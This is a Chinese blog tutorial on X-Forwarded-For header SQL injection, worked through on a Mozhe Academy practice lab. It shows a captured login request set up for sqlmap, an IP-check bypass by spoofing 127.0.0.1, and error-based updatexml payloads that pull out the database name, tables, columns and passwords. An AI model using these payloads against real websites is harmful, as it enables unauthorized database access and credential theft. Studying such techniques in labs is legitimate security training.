HTTP头注入:XFF注入
2024-09-08 19:26:41
0x00:XFF是什么?
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x01:XFF注入
XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x02:练习一
在墨者学院靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
username=admin&password=admin
0x03 sqlmap
sqlmap
手动添加X-Forwarded-for: *
使用sqlmap即可跑出。
注意点:在XFF后面添加*能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?
如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。
0x04手工注入
手动报错注入,填写格式如:X-Forwarded-For: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
当前使用数据库名
1' and updatexml(1,concat(0x7e,database(),0x7e),1), '
表名
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), '
字段/列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='logins' limit 0,1),0x7e),1)), '
具体内容
1' and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), '
最新文章
- 同时打开两个excel工作窗口
- SQLite3的基本使用
- 大家一起写mvc(三)_结束
- ES6 — 数组Array
- android 底部tabview模板
- 链接器工具错误 LNK2011
- 九度OJ 1085 求root(N, k) -- 二分求幂及快速幂取模
- SecureCRT如何设置字符编码和外观?
- TransactionScope的正确用法(转自:http://blog.csdn.net/greystar/article/details/1359960)
- Demo+在Linux下运行(CentOS7+dotnetcore sdk)
- Z-Stack协议中几个重要概念的理解
- 移动端Web界面滚动touch事件
- Zedboard初体验
- [Hibernate] One-To-Many 配置文件和注解的方式以及HQL语句
- vue 起步
- Passenger简介
- python webdriver 从无到有搭建混合驱动自动化测试框架的过程和总结
- Android之MVP模式实现登录和网络数据加载
- Framework 7 之 Smart select 选择后自动隐藏
- (转)Spring AOP编程原理、Demo
热门文章
- 在函数中设置input的multiple属性以及input的点击事件时,设置失效
- three.js一步一步来--如何用线画出一个面--网格板子
- 浅谈浏览器端 WebGIS 开发可能会用到的、提升效率的 js 库
- 【LeetCode】三数之和+四数之和(双指针)
- C# 处理实体类赋值(获取嵌套类型,支持list 自定义类型)
- JAVA虚拟机15---虚拟机的类加载机制
- vscode安装教程(含插件配置)
- 网关与网络地址(网络号)以及IP地址、广播地址
- map方法整理数据,接口返回值进行处理
- Android:Activity